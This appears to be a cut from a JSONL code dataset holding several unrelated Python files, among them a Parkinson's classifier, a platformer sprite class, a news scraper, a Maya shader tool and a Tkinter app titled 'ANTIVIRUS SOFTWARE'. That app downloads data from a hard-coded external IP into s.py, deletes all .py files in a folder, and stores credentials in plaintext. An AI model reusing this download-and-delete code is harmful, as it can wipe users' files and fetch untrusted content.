ax1.set_title(\" Data patient %s\"%(testPatient))\n ax1.set_xlabel(\"Labels : 1 = score>=%d \"%(thold))\n ax2 = ax1.twiny()\n ax2.set_xlabel(\"Activity - limb - state\")\n ax1.plot(t,testorData[:,cc])\n ax1.plot(t[inds],testorData[inds,cc],\"o\")\n ax1.set_xticks(t[indsTicks])\n ax1.set_xticklabels(testLabels[indsTicks])\n ax2.set_xticks(t[indsTicks])\n ax2.set_xticklabels(testActivity[indsTicks])\n plt.show()\n \n \"\"\"\n TODO: Add a way to get the activity labels too so that I can plot them\n Now based on this, the algorithm may be doing fine but the quality of the\n data is not there yet. We need to filter out the tail and head of some of \n task time series because they are adding unnecessary noise to the classifier\n \"\"\"\n \n# plt.figure()\n# plt.plot(t,testorData[:,1])\n# plt.plot(t[inds],testorData[inds,1],\"o\")\n# plt.show()\n# \n# plt.figure()\n# plt.plot(t,testorData[:,2])\n# plt.plot(t[inds],testorData[inds,2],\"o\")\n# plt.show()\n \n \n confusionM=cm(testLabels,predLabels)\n print(confusionM)\n print(accuracy_score(testLabels,predLabels))\n print(recall_score(testLabels,predLabels)) \n \n \n results['f1score'].append(f1_score(testLabels,predLabels))\n results['roc_auc_score'].append(roc_auc_score(testLabels,predLabels))\n results['accuracy'].append(accuracy_score(testLabels,predLabels))\n results['recall'].append(recall_score(testLabels,predLabels))\n results['precision'].append(precision_score(testLabels,predLabels))\n results['testingPatient'].append(testPatient)\n results['positivesTrainingTotal'].append(positivesTrain)\n results['positivesTestingTotal'].append(positivesTest)\n results['negativesTrainingTotal'].append(negativesTrain)\n results['negativesTestingTotal'].append(negativesTest)\n results['windowSize'].append(windowSize)\n results['classifier'].append(classifier)\n results['classifierParameters'].append(clf.get_params())\n results['scoreThold'].append(thold)\n results['truePositives'].append(confusionM[1,1])\n results['trueNegatives'].append(confusionM[0,0])\n results['falseNegatives'].append(confusionM[1,0])\n results['falsePositives'].append(confusionM[0,1])\n \n else:\n results['f1score'].append(-1)\n results['roc_auc_score'].append(-1)\n results['accuracy'].append(-1)\n results['recall'].append(-1)\n results['precision'].append(-1)\n results['testingPatient'].append(testPatient)\n results['positivesTrainingTotal'].append(-1)\n results['positivesTestingTotal'].append(-1)\n results['negativesTrainingTotal'].append(-1)\n results['negativesTestingTotal'].append(-1)\n results['windowSize'].append(windowSize)\n results['classifier'].append(classifier)\n results['classifierParameters'].append(-1)\n results['scoreThold'].append(thold)\n results['truePositives'].append(-1)\n results['trueNegatives'].append(-1)\n results['falseNegatives'].append(-1)\n results['falsePositives'].append(-1)\n \n \n \n \nif __name__==\"__main__\":\n HOMEPATH=expanduser(\"~\")\n \n #Organized in order of execution\n benchmark=False\n testClassifier=True\n \n \n if benchmark:\n \n params={ \"homepath\":expanduser(\"~\"),\n \"path\":\"%s/Dropbox/parkinson/data2015October/Data/data collection julian/participantsData/\"%(HOMEPATH),\n \"database\":\"%s/Dropbox/parkinson/database/clinicalData.db\"%(HOMEPATH),\n \"sumFilename\":\"%s/Dropbox/parkinson/database/log.csv\"%(HOMEPATH),\n \"visualize\":True,\n \"aggregateToDataBase\":False,\n \"computeXYZFeatures\":False,\n \"computeNormFeatures\":False,\n \"createLabelsTable\":False,\n \"buildClassifiers\":False,\n \"useNormFeatures\":False,\n \"storeModel\":'lr-l1',\n \"thold\":1\n }\n \n \n classifiers=['lr-l1','lr-l2','randomForest','naive','svm']\n classifiers=['lr-l1']\n wins=[100,150,200,250,300,350]\n \n for classifier in classifiers:\n for winSize in wins:\n# try:\n runner(classifier,winSize,params=params)\n# except:\n# print \"Unexpected error:\", sys.exc_info()[0]\n# print('Could not train on %s winSize %d'%(classifier,winSize))\n \n if testClassifier:\n \n params={ \"homepath\":expanduser(\"~\"),\n \"path\":\"%s/Dropbox/parkinson/data2015October/Data/data collection julian/participantsData/\"%(HOMEPATH),\n \"database\":\"%s/Dropbox/parkinson/database/clinicalData.db\"%(HOMEPATH),\n \"sumFilename\":\"%s/Dropbox/parkinson/database/log.csv\"%(HOMEPATH),\n \"visualize\":True,\n \"aggregateToDataBase\":False,\n \"computeXYZFeatures\":False,\n \"computeNormFeatures\":False,\n \"createLabelsTable\":False,\n \"buildClassifiers\":False,\n \"useNormFeatures\":False,\n \"storeModel\":'lr-l1',\n \"thold\":1,\n \"classifier\":\"lr-l1\",\n \"cols\":3,\n \"windowSize\":100\n }\n \n testModel(params)\n \n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":24824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"579994016","text":"from Start_Game import SPRITE_SCALING_PLAYER\nimport arcade #py -m venv venv\n\n\nMUSIC_VOLUME = 0.0\nSPRITE_SCALING = 0.5\nTILE_SCALING = 0.9\n\nSCREEN_WIDTH = 750\nSCREEN_HEIGHT = 800\nSCREEN_TITLE = \"Platformer\"\n\n\nMOVEMENT_SPEED = 3\nGRAVITY = .2 #change this to enable jumping\nJUMP_SPEED = 11 \n\nVIEWPORT_MARGIN = 250\n\nTEXTURE_LEFT = 0\nTEXTURE_RIGHT = 1\n\n# Close enough to not-moving to have the animation go to idle.\nDEAD_ZONE = 0.1\n\n# Constants used to track if the player is facing left or right\nRIGHT_FACING = 0\nLEFT_FACING = 1\n\n# How many pixels to move before we change the texture in the walking animation\nDISTANCE_TO_CHANGE_TEXTURE = 20\n\n\nclass Player(arcade.Sprite):\n \"\"\" Player Class \"\"\"\n\n def __init__(self):\n\n super().__init__()\n # Create a variable to hold our speed. 'angle' is created by the parent\n self.speed = 0\n self.health = 5\n self.has_lost = False\n\n self.scale = SPRITE_SCALING_PLAYER\n\n main_path = \"Sprites/mario/mario\"\n\n self.idle_texture_pair = arcade.load_texture_pair(f\"{main_path}_idle.png\")\n self.jump_texture_pair = arcade.load_texture_pair(f\"{main_path}_jump.png\")\n self.fall_texture_pair = arcade.load_texture_pair(f\"{main_path}_fall.png\")\n\n self.walk_textures = []\n for i in range(3):\n texture = arcade.load_texture_pair(f\"{main_path}_walk{i}.png\")\n self.walk_textures.append(texture)\n\n self.texture = self.idle_texture_pair[0]\n\n #Hit box is based on first image used\n self.hit_box = self.texture.hit_box_points\n\n #Player will default to face right\n self.character_face_direction = RIGHT_FACING\n\n #Index of current texture\n self.cur_texture = 0\n\n #distance traveled since changed texture\n self.x_odometer = 0\n\n def pymunk_moved(self, physics_engine, dx, dy, d_angle):\n \n if dx < -DEAD_ZONE and self.character_face_direction == RIGHT_FACING:\n self.character_face_direction = LEFT_FACING\n elif dx > DEAD_ZONE and self.character_face_direction == LEFT_FACING:\n self.character_face_direction = RIGHT_FACING\n\n is_on_ground = physics_engine.is_on_ground(self)\n\n self.x_odometer += dx\n\n if not is_on_ground:\n if dy > DEAD_ZONE:\n self.texture = self.jump_texture_pair[self.character_face_direction]\n return\n elif dy < -DEAD_ZONE:\n self.texture = self.fall_texture_pair[self.character_face_direction]\n return\n\n if abs(dx) <= DEAD_ZONE:\n self.texture = self.idle_texture_pair[self.character_face_direction]\n return\n\n if abs(self.x_odometer) > DISTANCE_TO_CHANGE_TEXTURE:\n self.x_odometer = 0\n\n self.cur_texture += 1\n if self.cur_texture > 2:\n self.cur_texture = 0\n self.texture = self.walk_textures[self.cur_texture][self.character_face_direction]\n\n def reset_pos(self):\n self.center_x = 100\n self.center_y = 160\n\n\n def reset(self): # reset the player\n self.reset_pos()\n self.has_lost = False\n self.reset_health = self.health = 3 # health of the player\n\n def update(self):\n \"\"\" Move the player \"\"\"\n # Move player.\n # Remove these lines if physics engine is moving player.\n #self.center_x += self.change_x\n #self.center_y += self.change_y\n\n # Check for out-of-bounds\n if self.left < 0:\n self.left = 0\n elif self.right > SCREEN_WIDTH - 1:\n self.right = SCREEN_WIDTH - 1\n if self.bottom < 0:\n self.bottom = 0\n\n elif self.top > SCREEN_HEIGHT - 1:\n self.top = SCREEN_HEIGHT - 1\n\n #angle_rad = math.radians(self.angle)\n\n #self.angle += self.change_angle\n\n #self.center_x += -self.speed * math.sin(angle_rad)\n #self.center_y += -self.speed * math.cos(angle_rad)\t\t#change\n","sub_path":"Player_Obj.py","file_name":"Player_Obj.py","file_ext":"py","file_size_in_byte":3985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"411859308","text":"# encoding=utf-8\nimport lxml.html as html\n\npage = html.parse('http://news.sportbox.ru/Vidy_sporta/Futbol/Bubnov')\nroot = page.getroot()\ntag = root.find_class('list').pop()\n\nurllist = []\n\nfor i in tag.iterlinks():\n if i[2].find('png') == -1:\n urllist.append(i[2])\n\nsmekh = []\ndates = []\n\nfor url in urllist:\n page1 = html.parse('http://news.sportbox.ru'+url)\n root1 = page1.getroot()\n tag1 = root1.find_class('node-header__title').pop()\n an = tag1.text_content().strip()\n smekh.append(an)\n tag2 = root1.find_class('b-author__date').pop()\n ben = tag2.text_content().strip()\n dates.append(ben)\n\nfor i in range(len(urllist)):\n print(urllist[i], '/n', smekh[i], '/n', dates[i])\n\nfrom lxml import etree\nroot = etree.Element('bubnov_articles')\nfor i in range(len(urllist)):\n tag = etree.SubElement(root, 'article')\n subtag = etree.SubElement(tag, 'url').text = urllist[i]\n subtag2 = etree.SubElement(tag, 'title').text = smekh[i]\n subtag3 = etree.SubElement(tag, 'date').text = dates[i]\n\nnew_xml = etree.tostring(root, pretty_print=True, encoding='utf-8')\na = open('puuuuuuukhova.xml', 'wb')\na.write(new_xml)\na.close()","sub_path":"Pukhova_Ekaterina/puuuuuuuuukhova_lab_3_and_4.py","file_name":"puuuuuuuuukhova_lab_3_and_4.py","file_ext":"py","file_size_in_byte":1160,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"347392836","text":"from Tkinter import *\r\nimport os\r\nimport socket\r\nimport subprocess\r\nimport time\r\nimport glob \r\ncreds = 'tempfile.temp' # This just sets the variable creds to 'tempfile.temp'\r\n\r\ndef Signup(): # This is the signup definition, \r\n global pwordE # These globals just make the variables global to the entire script, meaning any definition can use them\r\n global nameE\r\n global roots\r\n \r\n roots = Tk() # This creates the window, just a blank one.\r\n roots.title('Signup') # This renames the title of said window to 'signup'\r\n roots.geometry('1000x1500')\r\n roots.configure(background='gray')\r\n \r\n intruction = Label(roots, text='Please Enter new Credidentials\\n',font=('arial',25)) # This puts a label, so just a piece of text saying 'please enter blah'\r\n intruction.grid(row=0, column=0, sticky=NE) # This just puts it in the window, on row 0, col 0. If you want to learn more look up a tkinter tutorial :)\r\n intruction.configure(background='gray')\r\n \r\n nameL = Label(roots, text='New Username: ',font=('arial',20),bd=15) # This just does the same as above, instead with the text new username.\r\n pwordL = Label(roots, text='New Password: ',font=('arial',20),bd=15) # ^^\r\n nameL.grid(row=1, column=0, sticky=NE) # Same thing as the instruction var just on different rows. :) Tkinter is like that.\r\n pwordL.grid(row=2, column=0, sticky=NE) # ^^\r\n nameL.configure(background='gray')\r\n pwordL.configure(background='gray')\r\n \r\n nameE = Entry(roots) # This now puts a text box waiting for input.\r\n pwordE = Entry(roots, show='*') # Same as above, yet 'show=\"*\"' What this does is replace the text with *, like a password box :D\r\n nameE.grid(row=1, column=1) # You know what this does now :D\r\n pwordE.grid(row=2, column=1) # ^^\r\n \r\n signupButton = Button(roots, text='Signup', command=FSSignup) # This creates the button with the text 'signup', when you click it, the command 'fssignup' will run. which is the def\r\n signupButton.grid(columnspan=2, sticky=NE,padx=10,pady=10)\r\n roots.mainloop() # This just makes the window keep open, we will destroy it soon\r\n \r\n \r\ndef FSSignup():\r\n with open(creds, 'w') as f: # Creates a document using the variable we made at the top.\r\n f.write(nameE.get()) # nameE is the variable we were storing the input to. Tkinter makes us use .get() to get the actual string.\r\n f.write('\\n') # Splits the line so both variables are on different lines.\r\n f.write(pwordE.get()) # Same as nameE just with pword var\r\n f.close() # Closes the file\r\n \r\n roots.destroy() # This will destroy the signup window. :)\r\n Login() # This will move us onto the login definition :D\r\n \r\ndef Login():\r\n global nameEL\r\n global pwordEL # More globals :D\r\n global rootA\r\n \r\n rootA = Tk() # This now makes a new window.\r\n rootA.title('Login') # This makes the window title 'login'\r\n rootA.configure(background='Gray')\r\n rootA.geometry('1000x1500')\r\n \r\n \r\n intruction = Label(rootA, text='ANTIVIRUS SOFTWARE\\n',font=('arial',25),fg='white') # More labels to tell us what they do\r\n intruction.grid(sticky=NE) \r\n intruction.configure(background='Gray')\r\n \r\n nameL = Label(rootA, text='Username: ',font=('arial',20),bd=15) # More labels\r\n pwordL = Label(rootA, text='Password: ',font=('arial',20),bd=15) # ^\r\n nameL.grid(row=1, sticky=NE)\r\n pwordL.grid(row=2, sticky=NE)\r\n nameL.configure(background='Gray')\r\n pwordL.configure(background='Gray')\r\n \r\n nameEL = Entry(rootA) # The entry input\r\n pwordEL = Entry(rootA, show='*')\r\n nameEL.grid(row=1, column=1,padx=8)\r\n pwordEL.grid(row=2, column=1,padx=8)\r\n \r\n loginB = Button(rootA, text='Login',fg='blue',command=CheckLogin) # This makes the login button, which will go to the CheckLogin def.\r\n loginB.grid(columnspan=2, sticky=NE,padx=10,pady=10)\r\n \r\n rmuser = Button(rootA, text='Sign Up', fg='red', command=DelUser) # This makes the deluser button. blah go to the deluser def.\r\n rmuser.grid(columnspan=2, sticky=NE,padx=10,pady=10)\r\n rootA.mainloop()\r\n \r\ndef CheckLogin():\r\n global rlbl\r\n \r\n with open(creds) as f:\r\n data = f.readlines() # This takes the entire document we put the info into and puts it into the data variable\r\n uname = data[0].rstrip() # Data[0], 0 is the first line, 1 is the second and so on.\r\n pword = data[1].rstrip() # Using .rstrip() will remove the \\n (new line) word from before when we input it\r\n \r\n if nameEL.get() == uname and pwordEL.get() == pword: # Checks to see if you entered the correct data.\r\n r = Tk() # Opens new window\r\n r.title('Enter IP')\r\n r.geometry('1000x1500') # Makes the window a certain size\r\n r.configure(background='gray')\r\n\r\n intructionr = Label(r, text='ANTIVIRUS SOFTWARE\\n',font=('arial',25),fg='white') \r\n intructionr.grid(sticky=W) \r\n intructionr.configure(background='Gray')\r\n \r\n rlbl = Label(r, text='Enter IP',font=('arial',20),bd=15) \r\n rlbl.grid(row=1,sticky=NE)\r\n rlbl.configure(background='Gray')\r\n rlbl = Entry(r)\r\n rlbl.grid(row=1,column=1)\r\n # Pack is like .grid(), just different\r\n #s = socket.socket()\r\n #host=raw_input(\"enter the host address\")\r\n #host = '167.172.235.115'\r\n #host='192.168.0.7 '\r\n\r\n #port = 9999\r\n\r\n \r\n rgo= Button(r, text='go',fg='blue', command= Home)\r\n rgo.grid(columnspan=2, sticky=NE)\r\n \r\n \r\n r.mainloop()\r\n else:\r\n r = Tk()\r\n r.title('Enter Site')\r\n r.geometry('1000x1500')\r\n r.configure(background='Gray')\r\n rlbl = Label(r, text='\\n[!] Invalid Login',font=('arial',14),bd=15)\r\n rlbl.configure(background='Gray')\r\n rlbl.pack()\r\n r.mainloop()\r\n \r\n \r\n \r\ndef Home():\r\n global s\r\n s = socket.socket()\r\n #host=raw_input(\"enter the host address\")\r\n host = '167.172.235.115'\r\n #host='192.168.0.7'\r\n\r\n port = 9899\r\n\r\n s.connect((host, port))\r\n \r\n\r\n global downlF\r\n global rootf\r\n\r\n rootf=Tk()\r\n rootf.title('Download File')\r\n rootf.configure(background='Gray')\r\n rootf.geometry('1000x1500')\r\n\r\n intructionD = Label(rootf, text='ANTIVIRUS SOFTWARE\\n',font=('arial',25),fg='white') \r\n intructionD.grid(sticky=W) \r\n intructionD.configure(background='Gray')\r\n\r\n downlF = Label(rootf, text='File Name',font=('arial',20),bd=15)\r\n downlF.grid(row=1,sticky=NE)\r\n downlF.configure(background='Gray')\r\n downlF = Entry(rootf)\r\n downlF.grid(row=1,column=1)\r\n #filename=StringVar()\r\n #filename.set(downlF.get())\r\n \r\n down =Button(rootf, text='download',fg='blue',command=file2)\r\n filer()\r\n down.grid(columnspan=2,sticky=NE)\r\n\r\n down.mainloop()\r\n\r\n\r\ndef filer():\r\n global downlF\r\n os.chdir(\"/home/pratik/Desktop/test\")\r\n filename=\"s.py\"\r\n with open(filename, 'wb') as f:\r\n # print ('file opened')\r\n while True:\r\n # print('receiving data...')\r\n data = s.recv(1024)\r\n # print('data=%s', (data))\r\n if not data:\r\n break\r\n # write data to a file\r\n f.write(data)\r\n fi()\r\n # fi2()\r\n f.close()\r\n #print('Successfully got the file')\r\n s.close()\r\n #print('connection closed')\r\n\r\n\r\ndef fi():\r\n for root, dirs, files in os.walk(\"/home/pratik/Desktop/test\"):\r\n for file in files:\r\n if file.endswith(\".py\"): \r\n smit=\"true\"\r\n # print(os.path.join(root, file))\r\n if(smit==\"true\"):\r\n #print(\"deleted\")\r\n directory='test' #JIS FOLDER MAI VIRUS H US FOLDER KA NAAM LIKH test ke badle, yeh code us folder ke bhar save kr yaah fir directory ki address daalo\r\n # os.chdir(directory)\r\n file=glob.glob('*.py')\r\n for filename in file:\r\n os.unlink(filename)\r\n \r\n\r\n\"\"\"def fi2():\r\n for root, dirs, files in os.walk(\"/home/pratik/Desktop/test\"):\r\n for file in files:\r\n if file.endswith(\".bat\"): \r\n s=\"true\"\r\n # print(os.path.join(root, file))\r\n if(s==\"true\"):\r\n #print(\"deleted\")\r\n directory='test' #JIS FOLDER MAI VIRUS H US FOLDER KA NAAM LIKH test ke badle, yeh code us folder ke bhar save kr yaah fir directory ki address daalo\r\n # os.chdir(directory)\r\n file=glob.glob('*.bat')\r\n for filename in file:\r\n os.unlink(filename) \r\n\"\"\" \r\n \r\n\r\ndef file2():\r\n global rootn\r\n\r\n rootn=Tk()\r\n rootn.title('File status')\r\n rootn.configure(background='Gray')\r\n rootn.geometry('1000x1500')\r\n\r\n intructionf = Label(rootn, text='ANTIVIRUS SOFTWARE\\n',font=('arial',25),fg='white') \r\n intructionf.grid(sticky=W) \r\n intructionf.configure(background='Gray')\r\n\r\n inst=Label(rootn,text='file is downloaded',font=('arial',15),fg='red')\r\n inst.grid(sticky=NE)\r\n inst.configure(background='gray')\r\n\r\n log = Button(rootn, text='Logout',fg='blue',command=Login) \r\n log.grid(columnspan=2, sticky=E,padx=10,pady=10)\r\n\r\n\r\n\r\ndef DelUser():\r\n os.remove(creds) # Removes the file\r\n rootA.destroy() # Destroys the login window\r\n Signup() # And goes back to the start!\r\n \r\nif os.path.isfile(creds):\r\n Login()\r\nelse: # This if else statement checks to see if the file exists. If it does it will go to Login, if not it will go to Signup :)\r\n Signup()\r\n","sub_path":"sign2.py","file_name":"sign2.py","file_ext":"py","file_size_in_byte":9630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"541631375","text":"import json\r\nimport numpy as np\r\nimport Config\r\nfrom pathlib import Path\r\nfrom vid_utils import natural_keys\r\n\r\nclass Interval:\r\n\r\n def __init__(self, scene_id, l, r, score):\r\n self.scene_id = scene_id\r\n self.l = l\r\n self.r = r\r\n self.score = score\r\n\r\n def expand(self, interval):\r\n self.l = min(self.l, interval.l)\r\n self.r = max(self.r, interval.r)\r\n\r\n def overlap(self, interval):\r\n return interval.r >= self.l\r\n\r\n def overlapInterval(self, l, r):\r\n return r >= self.l\r\n\r\ndef refineResult(output_path):\r\n #final result\r\n #Merge overlapped region\r\n with open(Config.data_path + '/stop_scene_periods.json', 'r') as f:\r\n stops = json.load(f)\r\n f = open(output_path + '/result_all.txt', 'w')\r\n output_dirs = sorted([x for x in Path(output_path).iterdir() if x.is_dir()], key=natural_keys)\r\n for output_dir in output_dirs:\r\n g = open(output_dir/'anomaly_events.txt')\r\n lines = g.readlines()\r\n intervals = []\r\n\r\n\r\n #merge in scene\r\n for line in lines:\r\n vid, scene_id, l, r, score = (float(x) for x in line.split(' '))\r\n intervals.append(Interval(scene_id, l, r, score))\r\n\r\n check = np.zeros(len(intervals))\r\n for i in range(0, len(intervals)):\r\n for j in range(0, i):\r\n if intervals[i].overlap(intervals[j]):\r\n intervals[i].expand(intervals[j])\r\n check[j] = 1\r\n else:\r\n if intervals[i].scene_id != intervals[j].scene_id:\r\n if intervals[i].overlapInterval(intervals[j].l, intervals[j].r + Config.threshold_anomaly_merge):\r\n intervals[i].expand(intervals[j])\r\n check[j] = 1\r\n\r\n minv = 1000.0\r\n scorev = 0\r\n for i in range(0, len(intervals)):\r\n if check[i] == 0:\r\n lc = 0\r\n for j in range(0, len(stops[output_dir.name])):\r\n stop = stops[output_dir.name][j]\r\n if stop[0] - 20 < intervals[i].l < stop[1] + 20:\r\n lc = 1\r\n break\r\n if lc == 0:\r\n if minv > max(intervals[i].l - Config.start_offset, 0):\r\n minv = max(intervals[i].l - Config.start_offset, 0)\r\n scorev = intervals[i].score\r\n\r\n if minv < 1000:\r\n f.write(output_dir.name + \" %.2f %.2f\\n\" % (minv, scorev))\r\n\r\n f.close()\r\n\r\nif __name__=='__main__':\r\n refineResult(Config.output_path)","sub_path":"track4-traffic-anomaly-detection/ResultRefinement.py","file_name":"ResultRefinement.py","file_ext":"py","file_size_in_byte":2622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"563054046","text":"import time\n\n\nclass Cup(object):\n def __init__(self, drink, price):\n self.content = drink\n self.price = price\n self._init_temp = 80\n self.full = 1.0\n self._timestamp = time.time() # initiate time for cool-down\n\n def heat_up(self, degrees):\n if degrees < 0:\n raise Exception('heat_up accepts only positive numbers')\n new_temp = self.temp + degrees\n if new_temp <= 100:\n self._init_temp = new_temp\n else:\n self._init_temp = 100\n self._timestamp = time.time() # refresh time for cool-down\n\n def drink(self, sip):\n if sip < 0:\n raise Exception('drink only accepts positive numbers')\n self.full -= sip\n if self.full <= 0:\n self.full = 0\n\n @property\n def temp(self):\n return self._init_temp - round(1*(time.time() - self._timestamp))\n","sub_path":"mymodule.py","file_name":"mymodule.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"25804774","text":"from Tkinter import *\nfrom random import randint\n\nclass Gui:\n \"\"\"Tkinter graphical interface for guessing game.\"\"\"\n\n def __init__(self):\n \"\"\"Initialise root window and game object.\"\"\"\n\n self.root = Tk()\n self.root.wm_title('Guessing Game')\n self.root.wm_resizable(0, 0)\n\n self.game = GuessGame()\n self.guess = IntVar()\n self.guess.set(self.game.newGuess())\n\n self.infoLbl = Label(\n self.root, text = 'Think of a number between 1 and 100.')\n self.infoLbl.grid(row = 0)\n\n self.guessLbl = Label(self.root, textvariable = self.guess)\n self.guessLbl.grid(row = 1, padx = 10, pady = 10)\n\n self.correctBtn = Button(text = 'Correct', command = self.found)\n self.correctBtn.grid(row = 2)\n\n self.higherBtn = Button(text = 'Higher', command = self.higher)\n self.higherBtn.grid(row = 3)\n\n self.lowerBtn = Button(text = 'Lower', command = self.lower)\n self.lowerBtn.grid(row = 4)\n\n def higher(self):\n self.game.setUpperBound(self.guess.get())\n self.guess.set(value = self.game.newGuess())\n\n def lower(self):\n self.game.setLowerBound(self.guess.get())\n self.guess.set(value = self.game.newGuess())\n\n def found(self):\n pass\n\n def mainLoop(self):\n \"\"\"Run main Tkinter gui loop.\"\"\"\n\n self.root.mainloop()\n\nclass GuessGame:\n \"\"\"Spin on traditional guessing game. Program guesses user's number.\"\"\"\n\n def __init__(self):\n \"\"\"Set upper and lower bounds for randint generation.\"\"\"\n\n self.upperBound = 1\n self.lowerBound = 100\n self.found = False\n\n def newGuess(self):\n \"\"\"Generate new randint guess within bounds.\"\"\"\n\n return randint(self.upperBound, self.lowerBound)\n\n def checkGuess(self, guess):\n \"\"\"Ask user if guess is higher or lower than their number.\"\"\"\n\n higherOrLower = raw_input('higher or lower?: ')\n\n try:\n if higherOrLower == 'higher':\n self.setUpperBound(guess)\n elif higherOrLower == 'lower':\n self.setLowerBound(guess)\n else:\n self.found = True\n except ValueError:\n pass\n\n def setUpperBound(self, guess):\n \"\"\"Set the upper boundary value for randint.\"\"\"\n\n self.upperBound = guess + 1\n\n def setLowerBound(self, guess):\n \"\"\"Set the lower boundary value for randint.\"\"\"\n\n self.lowerBound = guess - 1\n\n def gameLoop(self):\n \"\"\"Loop until user's number found.\"\"\"\n\n while not self.found:\n guess = self.newGuess()\n print(guess)\n self.checkGuess(guess)\n\n\"\"\"Temporary testing logic.\"\"\"\n\ngui = Gui()\ngui.mainLoop()\n","sub_path":"challenges/guessing.py","file_name":"guessing.py","file_ext":"py","file_size_in_byte":2752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"541699494","text":"'''\n:return the lowest common mutiple\n\n'''\n\ndef lcm(n1, n2):\n if n1 > n2:\n n, n2 = n2, n1\n\n for i in range(n2, n1 * n2 + 1, n2):\n if i % n1 == 0 and i % n2 == 0:\n return i\n\n\nprint(lcm(3, 5))\nprint(lcm(2, 4))\n","sub_path":"old/lowest_common_mutiple.py","file_name":"lowest_common_mutiple.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"78758491","text":"import mglPymel as pymel\nfrom maya import cmds\nfrom pipeline.mglMayaScene.config.default import AssetsCrowd\n\nclass shaderVariant():\n def __init__(self):\n self.topGroup = set()\n self.crowd_assets = {}\n self.shaders = self.create_shaders()\n pass\n\n def get_top_group(self, from_selection=True):\n self.topGroup = set()\n if not from_selection or not pymel.core.ls(sl=1):\n assets_list = set()\n for a in pymel.core.ls(\"*:*.al_nameSapce\", r=1):\n assets_list.add(a._node)\n self.topGroup = assets_list\n else:\n selected = pymel.core.ls(sl=1)\n for s in selected:\n # - check direct selection\n if s.hasAttr('al_nameSapce'):\n self.topGroup.add(s)\n else:\n # - check in parents if one is a top group\n for p in s.getAllParents():\n if p.hasAttr('al_nameSapce'):\n self.topGroup.add(p)\n continue\n # - check if you have selected a group parent\n for c in s.getChildren():\n if c.hasAttr('al_nameSapce'):\n self.topGroup.add(c)\n return self.topGroup\n\n def add_element_to_dict(self, myDict, key, value):\n if key not in myDict:\n myDict[key] = []\n myDict[key].append(value)\n\n def get_crowd_assets(self):\n self.crowd_assets = {}\n # - List all top groups from selection\n for top in self.topGroup:\n obj = pymel.core.PyNode(top)\n if obj.hasAttr('al_nameSapce'):\n namespace = obj.getAttr('al_nameSapce').split(':')[0].split('_')[0]\n self.add_element_to_dict(self.crowd_assets, namespace, obj)\n\n def get_variant_name(self, asset_name):\n # - Get variants from config\n for a, value in AssetsCrowd.kAssetInfos.items():\n if a in asset_name:\n return value\n\n def get_attribut_from_config(self, namespace, variantName):\n return AssetsCrowd.kAssetInfos[namespace][variantName]\n\n def create_shaders(self):\n # - Get shader if they already exist or create it\n if pymel.core.objExists('redCrowdSG') and pymel.core.objExists('redCrowdSG') and pymel.core.objExists('redCrowdSG'):\n redSG = pymel.core.PyNode('redCrowdSG')\n greenSG = pymel.core.PyNode('greenCrowdSG')\n blueSG = pymel.core.PyNode('blueCrowdSG')\n else:\n red = pymel.core.shadingNode('lambert', name='redCrowd', asShader=True)\n pymel.core.setAttr('{0}.color'.format(red), 1, 0, 0, type='double3')\n green = pymel.core.shadingNode('lambert', name='greenCrowd', asShader=True)\n pymel.core.setAttr('{0}.color'.format(green), 0, 1, 0, type='double3')\n blue = pymel.core.shadingNode('lambert', name='blueCrowd', asShader=True)\n pymel.core.setAttr('{0}.color'.format(blue), 0, 0, 1, type='double3')\n redSG = pymel.core.sets(name='%sSG' % red.name(), empty=True, renderable=True, noSurfaceShader=True)\n pymel.core.connectAttr('%s.outColor' % red.name(), '%s.surfaceShader' % redSG)\n greenSG = pymel.core.sets(name='%sSG' % green.name(), empty=True, renderable=True, noSurfaceShader=True)\n pymel.core.connectAttr('%s.outColor' % green.name(), '%s.surfaceShader' % greenSG)\n blueSG = pymel.core.sets(name='%sSG' % blue.name(), empty=True, renderable=True, noSurfaceShader=True)\n pymel.core.connectAttr('%s.outColor' % blue.name(), '%s.surfaceShader' % blueSG)\n return [redSG, greenSG, blueSG]\n\n def assignObjectListToShader(self, objList, shaderSG):\n pymel.core.sets(shaderSG, e=True, forceElement=objList)\n\n def apply(self, assetAssignation):\n # - Set VRay user attribut and assign the RGB shaders to objects except with 'glass' in the name\n for topGrp, attribute in assetAssignation.items():\n shapes = pymel.core.listRelatives(topGrp, ad=True, typ='shape', f=True)\n for shape in shapes:\n cmds.vray(\"addAttributesFromGroup\", shape, \"vray_user_attributes\", 1)\n cmds.setAttr(shape+'.vrayUserAttributes', attribute, type='string')\n if 'glass' in shape.name().split(':')[-1]:\n shapes.remove(shape)\n self.assignObjectListToShader(shapes, self.shaders[int(attribute.split('=')[-1])-1])\n\n","sub_path":"Maya/ProjectRelated/Samsam/tdTools/anim/make_crowd/api/shaderVariant.py","file_name":"shaderVariant.py","file_ext":"py","file_size_in_byte":4561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"276557534","text":"# from the socket module import all\r\nfrom socket import *\r\n\r\n# Create a TCP server socket\r\n#(AF_INET is used for IPv4 protocols)\r\n#(SOCK_STREAM is used for TCP)\r\nsock = socket(AF_INET, SOCK_STREAM)\r\n# if we did not import everything from socket, then we would have to write the previous line as:\r\n# sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n\r\n# set values for host 'localhost' - meaning this machine and port number 10000\r\nserver_address = ('localhost', 10000)\r\n# output to terminal some info on the address details\r\nprint('*** Server is starting up on %s port %s ***' % server_address)\r\n# Bind the socket to the host and port\r\nsock.bind(server_address)\r\n\r\n# Listen for one incoming connections to the server\r\nsock.listen(1)\r\n\r\n# we want the server to run all the time, so set up a forever true while loop\r\nwhile 